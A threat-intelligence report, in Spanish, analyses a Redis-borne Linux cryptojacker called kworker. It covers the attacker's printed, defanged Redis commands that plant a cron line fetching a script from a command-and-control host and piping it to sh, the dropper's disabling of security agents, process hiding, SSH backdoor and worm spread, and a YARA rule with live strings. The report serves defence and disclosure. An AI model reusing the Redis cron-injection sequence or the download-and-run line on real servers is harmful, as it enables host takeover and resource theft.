Esta página es una traducción. La versión en inglés es el texto de referencia. Leer en inglés
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: el cryptominer que trae su propio desinstalador
Kinryū Labs observó cómo un cryptojacker del linaje 8220 convirtió un puerto Redis abierto y sin contraseña en un shell de root en unos cinco segundos. El dropper, un script de shell de 636 líneas llamado kworker, desinstala los agentes de seguridad en la nube de Alibaba y Tencent con las herramientas de los propios fabricantes, dedica 200 líneas a matar mineros rivales, instala una puerta trasera en SSH, oculta un minero de Monero XMRig detrás de versiones falsas de ps, top y pstree, e intenta propagarse.
Por Davis Zheng·
TLP:CLEAR. Autorizado para difusión pública. Capturado por la red de sensores honeypot de Kinryū Labs. Los indicadores que siguen están desactivados (defanged).
Resumen ejecutivo
- ~5 sdel puerto Redis abierto a cuatro puertas traseras en cron de root
- 636líneas de bash, un kit completo de toma de control del host
- 2desinstaladores del fabricante incrustados en base64
- 80+mineros rivales en la lista de exterminio
A las seis minutos pasada la medianoche UTC, algo abrió una conexión al puerto Redis de uno de nuestros honeypots, ejecutó un único INFO para ver con qué estaba hablando y colgó. Dos segundos después volvió y se puso a trabajar. Cuando se desconectó, cinco segundos en total, había reescrito la tabla cron del servidor de cuatro formas distintas y había apuntado todas ellas al mismo archivo: un script de shell llamado kworker.
Nunca lo dejamos ejecutarse. El script nunca se ejecutó; lo que tenemos es el script en sí y la secuencia de comandos del atacante. Así que lo que nos queda es el script completo, las 636 líneas, y la secuencia de comandos completa del atacante. Leídos juntos ofrecen una sección transversal nítida de dónde ha llegado el cryptojacking de Linux de consumo masivo en 2026, y kworker es un buen espécimen, porque hace casi todo lo que el género ha inventado alguna vez. También hace una cosa con absoluta seriedad: desinstala tu antivirus usando el desinstalador del propio fabricante del antivirus.
- Cryptojacking de consumo masivo del linaje 8220 Gang / kworkerds, oportunista y no dirigido (confianza media). La entrega vía Redis, las herramientas de descarga renombradas, el archivo de bloqueo
/etc/javaey la enorme lista de exterminio son todos rasgos distintivos de la familia. Nos quedamos en media, y no más alto, porque se trata de código ampliamente bifurcado que los grupos se pasan y revenden, de modo que el nombre apunta a un linaje, no a un autor concreto. - El objetivo es minar Monero (confianza alta). Todo el propósito del script es descargar y lanzar
javae, una compilación de XMRig, tras habilitar huge pages para él. Todo lo demás existe para despejar el terreno y conservar el host. - Software maduro y muy rodado, no el proyecto de fin de semana de alguien (confianza alta). Las propias líneas de cron de la intrusión invocan
cd1ywd1, herramientas que solo existen después de que kworker se instale. El kit ya se da por supuesto a sí mismo, que es la marca del código que lleva un tiempo en circulación. - La ausencia de la cartera es deliberada (confianza alta). El script no contiene ninguna dirección de Monero ni ningún pool; ambos residen en el binario del minero, que no recuperamos. El único dato que permitiría enlazar las campañas de este grupo es justo el que mantienen fuera del script, el mismo muro con el que topamos en RedTail.
FLUSHALL, y luego cuatro caminos hacia cron
Redis expuesto a internet sin contraseña ha sido un shell de root de una sola línea durante años, y la técnica empleada aquí es la de siempre. Estableces una clave de base de datos cuyo valor es una tarea cron. Le dices a Redis que guarde su base de datos en la carpeta de cron. Llamas a SAVE. Redis escribe su base de datos en disco, tu tarea cron falsa incluida, y un minuto más tarde cron la ejecuta como root. Nuestro visitante hizo fingerprinting del servidor, comprobó que podía escribir un archivo, desactivó la protección que detiene un guardado fallido y ejecutó el truco.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
Toda la intrusión cabe en un puñado de segundos:
- 00:06:00 UTCConexión, envío de un único
INFOpara hacer fingerprinting del servidor, desconexión. - +2 segundosReconexión. Establece cuatro claves, cada una con una línea de cron.
CONFIG SET dira la carpeta de cron,CONFIG SET dbfilenameal archivo cron de destino, desactiva stop-writes-on-bgsave-error y despuésSAVE. - +5 segundos en totalDesconexión. Cuatro puertas traseras en cron plantadas, todas apuntando a `kworker`.
- +1 minutoEn un host real, cron ejecuta la línea plantada como root y descarga
kworker.
Lo que merece que uno se detenga es la redundancia. No escribió una tarea cron; escribió la misma instrucción en cuatro sitios, /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae y /etc/crontab, cubriendo tanto la disposición de Red Hat como la de Debian y las dos sintaxis de cron. Cada línea descargaba kworker con una herramienta distinta, cd1, wget, curl, wd1, con una planificación escalonada de dos, tres, cuatro y cinco minutos. Dos de esos nombres no son programas reales. cd1 y wd1 son los nombres a los que kworker renombra curl y wget una vez instalado. La intrusión ya da por supuesto el script que está a punto de descargar. Todo el kit es internamente coherente, y así es como se sabe que es software maduro y muy rodado, y no el proyecto de fin de semana de alguien.
Trae tu propio desinstalador
En cuanto tiene root, kworker empieza a desmontar el edificio. Firewall vaciado, ufw apagado, SELinux rebajado a permisivo y luego deshabilitado en su configuración, AppArmor detenido, el NMI watchdog del kernel desactivado, lo cual importa porque un minero mantiene la CPU al cien por cien durante semanas y el watchdog es una de las pocas cosas que podría darse cuenta. /var/log/syslog se elimina sin más.
Después se pone a buscar agentes de seguridad en la nube, y aquí el script deja de ser corriente. Los grandes proveedores de nube chinos incluyen un agente de host en sus máquinas virtuales: Aegis de Alibaba, que verás ejecutándose como AliYunDun; YunJing de Tencent; HostGuard de Huawei. kworker comprueba la presencia de cada uno. Cuando encuentra el de Alibaba, no se limita a matar el proceso. Ejecuta el desinstalador oficial de Alibaba y, para asegurarse de que funcione incluso en una máquina sin ruta de vuelta a Alibaba, lleva dos de los scripts de desinstalación de Alibaba codificados en base64 dentro de sí mismo. Decodificamos ambos. Son auténticos, con desmontaje del tracing kprobe incluido.
Elimina tu protección de endpoint limpiamente, tal como el fabricante lo concibió, y deja los registros ordenados.
Eso no es improvisación. Alguien se sentó frente a una máquina Aliyun real, extrajo los desinstaladores y los integró.
Una guerra de territorio, escrita en bash
Si nunca has leído uno de estos scripts, lo que sorprende es cuánto de él va dirigido contra otros criminales. El verdadero enemigo de un minero es el siguiente minero que intenta alquilar la misma CPU, no el administrador de sistemas. kworker dedica unas doscientas líneas a cazar competidores, y mata por cualquier vía que pueda encontrar.
- Por nombre de proceso, a partir de una lista de bloqueo de más de cien:
xmrig,kinsing,kdevtmpfsi, la familiawatchdogsywatchbog,ddg,sustesy el más antiguokworkerdsdel que desciende su propio nombre. - Por puerto, aquellos en los que se asientan los pools de minería y los bots de IRC.
- Por dirección IP codificada en duro.
- Por CPU, el instrumento contundente: cualquier cosa que consuma más del 40 por ciento del procesador bajo un nombre que no reconozca es eliminada, con la lógica de que un proceso desconocido que devora la CPU es, por definición, un minero rival.
Borra sus archivos de /tmp y /dev/shm, elimina sus tareas cron, quita los rootkits de preload que algunos de ellos instalan, y se mete en Docker para matar y borrar imágenes de minería conocidas. Es el mismo acaparamiento de terreno que documentamos en el script clean de RedTail y en el killservice.sh de Rootpacket; todos estos grupos se pelean por las mismas máquinas mal configuradas, y todos empiezan con un barrido del terreno.
También es, de manera específica y reiterada, grosero con TeamTNT: deshace los renombrados de curl y wget que TeamTNT realiza y borra sus directorios. Cuando mata a Kinsing, sobrescribe el archivo con la palabra fuckyou y lo bloquea para que Kinsing no pueda reinstalarse. Aquí no hay honor, solo acaparamiento de terreno, y kworker lo juega más duro que la mayoría.
Lee la lista con atención y se convierte en un catálogo de cómo se esconde la competencia. Un grupo de objetivos se hace pasar por hilos del kernel, kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; otro se hace pasar por demonios del sistema, polkitd, acpid, dbus-daemon--system y systemctI con una I mayúscula donde debería ir la L. kworker está cazando exactamente los disfraces que llevan sus rivales, que son los mismos disfraces a los que recurre unas líneas más abajo cuando oculta javae entre nombres como systemd-network e irqbalanced. Todos en esta pelea van vestidos de ruido de sistema aburrido, y todos se han memorizado el disfraz de los demás.
Algunos objetivos no son nombres en absoluto. Uno es L2Jpbi9iYXN, el comienzo en base64 de un comando /bin/bash. kworker busca con grep ese prefijo codificado en la tabla de procesos, y así atrapa el cargador de un rival por el blob base64 que aparece en su línea de comandos.
La lista completa es larga, más de cien maneras de nombrar un proceso que quieres muerto, y vale la pena hojearla una vez aunque solo sea por la textura de la disputa:
La lista de exterminio completa, extraída del script capturado
Tomada de kill_miner_proc, kill_sus_proc y el barrido de Docker. Todo lo que aparece aquí es un objetivo que kworker caza, no su propia infraestructura. Las IP están defanged.
Puertos en los que mata cualquier proceso (pools de minería, bots de IRC, RAT, SSH alternativo y Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
Familias reconocibles de mineros y botnets: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
Rivales que se ocultan como hilos del kernel: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
Rivales que se ocultan como demonios del sistema: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (i mayúscula, no systemctl), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
Otras cargas útiles, scripts y marcadores por campaña: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
Lanzadores ofuscados y configuraciones depositadas: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess y sus gemelos mal escritos, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, además del marcador de cradle en base64 L2Jpbi9iYXN (el inicio de una línea /bin/bas...).
IP de pools y C2 de la competencia a las que dispara en cuanto las ve: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
Imágenes y contenedores de Docker que mata y borra: contenedores llamados pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell; referencias de imagen pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp.
Y el instrumento contundente: cualquier cosa por encima del 40 por ciento de CPU que no coincida con javae es eliminada, igual que cualquier cosa por encima del 10 por ciento cuyo nombre parezca un hilo del kernel entre corchetes, cualquier cosa que se ejecute desde /tmp y cualquier proceso con un nombre sospechosamente largo.
Ahora no lo ves
Tras despejar el terreno, oculta a su propio jugador. Reemplaza ps, top y pstree por wrappers de dos líneas que llaman a los binarios reales y filtran discretamente cualquier línea que mencione el minero (javae) o el escáner que incluye (pnscan), y luego antedata los falsos a 2016 para que no parezcan nuevos. Ejecuta ps en una máquina infectada y el minero simplemente no está en la lista.
El minero está nombrado de forma que desaparezca en una tabla de procesos de todos modos: javae junto a archivos de bloqueo plantados con nombres como systemd-network, irqbalanced y kswaped, todos elegidos para leerse como ruido de sistema aburrido.
Una clave, y un camino hacia los vecinos
Dos movimientos más rematan la toma de control.
Escribe la clave pública SSH del operador, cuyo comentario es simplemente uc1, en el authorized_keys de root y hace el archivo inmutable, de modo que darse cuenta no basta; hay que quitar el bit de inmutabilidad antes siquiera de poder borrarlo. Eso es acceso manual que sobrevive a la limpieza del minero.
Después intenta propagarse. Lee el known_hosts de root, la lista de todas las máquinas a las que esta se ha conectado, e intenta hacer SSH a cada una usando las claves que ya hay en disco, ejecutando una línea en todo lo que le deje entrar que descarga kworker desde la dirección de respaldo y vuelve a empezar toda la historia. No es un gusano rápido y se apoya en que queden por ahí claves sin contraseña, pero en el tipo de flota donde normalmente las hay, eso basta y sobra.
El minero, y la cartera que no conseguimos
Con toda esa maquinaria, lo que de verdad genera el dinero es aburrido: un segundo archivo, javae, una compilación de XMRig que mina Monero. kworker activa las huge pages (vm.nr_hugepages fijado en 128, una aceleración estándar de XMRig), deposita javae en /etc y lo ejecuta.
Aquí está la laguna de este informe. No tenemos javae, y no tenemos la cartera. El script no contiene ninguna dirección de Monero ni ningún pool; esos datos están incrustados en el binario del minero, que se descarga en tiempo de ejecución, y el C2 no lo sirvió a ninguno de los sandboxes públicos que han examinado esta muestra, así que no hay nada que desmontar de forma pasiva. Cualquiera que analice kworker por su cuenta topa con el mismo muro. La cartera es lo único que permitiría enlazar las campañas de este grupo, y es exactamente lo que mantienen fuera del script.
Alojado en Cloudflare, a propósito
Tanto el script como el minero provienen de download.logltech[.]workers[.]dev, una dirección de Cloudflare Workers, y esa es una elección deliberada. Workers es gratuito, usa HTTPS por defecto, toma prestada la reputación de Cloudflare de modo que atraviesa sin problema las listas de bloqueo de dominios, y oculta el origen que el operador realmente controla. Cada URL de carga útil resuelve a Cloudflare; el origen real del operador nunca queda expuesto.
El canal de respaldo, usado por el gusano, es tutorial.clashverge[.]space, registrado a finales de febrero. Todas las demás direcciones IP codificadas en duro en el script pertenecen a un competidor al que quiere muerto, repartidas entre máquinas de Vultr, OVH y DigitalOcean y un host de Alibaba Cloud en Hangzhou, y no a este operador en absoluto. Lee las IP codificadas en duro como una lista de objetivos, no como infraestructura.
¿De quién es?
Con cautela, entonces. Esto es cryptojacking de consumo masivo del linaje que suele archivarse bajo 8220 Gang, o kworkerds. Los indicios están todos presentes: la entrega por inyección en cron vía Redis, el renombrado de curl a cd1, el archivo de bloqueo /etc/javae, el propagador pnscan, la enorme lista de exterminio. Los motores antivirus no se ponen de acuerdo en un nombre, lo cual es en sí mismo la cuestión. ClamAV lo llama Rocke, Rising lo etiqueta como TeamTNT, el resto simplemente dice CoinMiner. Estos scripts se copian, se fusionan y se revenden entre media docena de grupos, y kworker mata a varias de las familias con las que está emparentado.
Trata la familia como un vecindario, no como una huella dactilar.
El énfasis en los agentes de nube chinos, y un hermano en PowerShell para Windows que VirusTotal vincula a la misma muestra, completan el cuadro, pero la afirmación segura es la modesta. Ampliamente bifurcado, con motivación económica, no dirigido y no nuevo. Confianza media, y cómodos ahí.
Indicadores de compromiso
Red
| Indicador | Contexto |
|---|---|
download.logltech[.]workers[.]dev | C2 (principal), Cloudflare Workers. Sirve /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2 (respaldo), usado por el gusano. Registrado el 27 feb 2026 |
170.9.225[.]197 | IP de origen que alcanzó el honeypot de Redis |
Host *.workers.dev + GET bajo /up/down/api/ | Patrón de descarga de carga útil que merece una revisión atenta en la red |
Archivos (SHA-256 / MD5)
| Archivo | SHA-256 | MD5 |
|---|---|---|
kworker (dropper) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (minero XMRig) | no recuperado, se esperan 5,685,096 bytes |
Clave de puerta trasera SSH: comentario uc1, huella de la clave pública SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. Búscala en los authorized_keys de todo el parque de máquinas.
Artefactos en el host
| Ruta | Contexto |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | Archivos depositados |
/usr/bin/cd1 (era curl), /usr/bin/wd1 (era wget) | Herramientas de descarga renombradas |
/bin/ps.original, /bin/top.original, /bin/pstree.original | Binarios reales guardados detrás de wrappers troyanizados |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | Archivos inmutables de bloqueo de nombre, de un solo dígito |
vm.nr_hugepages = 128 | Huge pages habilitadas para XMRig |
Comportamiento
- Un
ps,topopstreeque en realidad es un script de shell que canaliza a través degrep -v. - Un
authorized_keysque no escribiste, terminado en el comentariouc1. - Tareas cron que ejecutan
sh /etc/kworkerosh /tmp/kworker, y un/etc/cron.d/javaeque no debería existir. - Archivos inmutables de un solo dígito en
/usr/bin/kswapedy sus compañeros. - Un
curly unwgetque han sido renombrados acd1ywd1. vm.nr_hugepagesfijado discretamente en 128.
Detección
Las señales del lado del host son evidentes una vez que las conoces, y están enumeradas arriba. En la red, cualquier cosa que resuelva un host *.workers.dev y pida rutas bajo /up/down/api/ merece una revisión atenta. A continuación una regla YARA que se dispara con las cadenas estables. Lleva las cadenas en vivo a propósito, para detección.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
Qué debería cambiar esto
Nada de esto es sofisticado, y esa es la lección. kworker entró porque había un puerto Redis abierto sin contraseña, un error de 2018 que sigue dando réditos en 2026. Todo lo que vino después, la eliminación del EDR, el rootkit y el gusano, solo importó porque la puerta principal estaba sin cerrar.
- No expongas Redis, ni ningún almacén de datos, a internet, y exige autenticación. Trata un servicio abierto como un compromiso de todo el host, no de un solo servicio.
- Vigila cron y
authorized_keyscomo si fueran código de producción, porque para un atacante eso es exactamente lo que son. - No trates al agente de nube de la máquina como una red de seguridad. El primer instinto de kworker fue acercarse y desinstalarlo, educadamente, con las herramientas del propio fabricante.
Mapeo MITRE ATT&CK
| Táctica | Técnica |
|---|---|
| Acceso inicial | T1190 Exploit Public-Facing Application (Redis) |
| Ejecución | T1059.004 Unix Shell |
| Persistencia | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Evasión de defensas | T1562.001 Impair Defenses: Disable or Modify Tools (desinstalación del agente de nube y del EDR); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (ps/top/pstree troyanizados); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (falsos antedatados) |
| Descubrimiento | T1057 Process Discovery (caza de rivales); T1518.001 Security Software Discovery (agentes de nube); T1046 Network Service Scanning (pnscan) |
| Movimiento lateral | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Mando y control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impacto | T1496 Resource Hijacking (minería de Monero) |
Metodología y notas del analista
- El análisis fue estático y pasivo. El dropper nunca se ejecutó y nunca se contactó con la infraestructura del atacante. Los hallazgos proceden de leer íntegramente el script capturado de 636 líneas, decodificar los desinstaladores base64 incrustados y revisar la sesión de Redis registrada.
- Los indicadores de arriba están defanged. La regla YARA contiene las cadenas en vivo por diseño, para detección.
- No tenemos el minero de fase 2 (
javae) ni la cartera de Monero. El script no lleva ninguno de los dos; ambos residen en el binario del minero, que se descarga en tiempo de ejecución y que el C2 no sirvió a los sandboxes públicos. Recuperar la cartera requeriría una detonación en vivo con captura de red, que no realizamos. - Las muestras (el dropper y los desinstaladores decodificados) están disponibles para otros investigadores y defensores previa solicitud. Escribe a contact@kinryu.sh con una breve nota sobre quién eres y para qué las necesitas.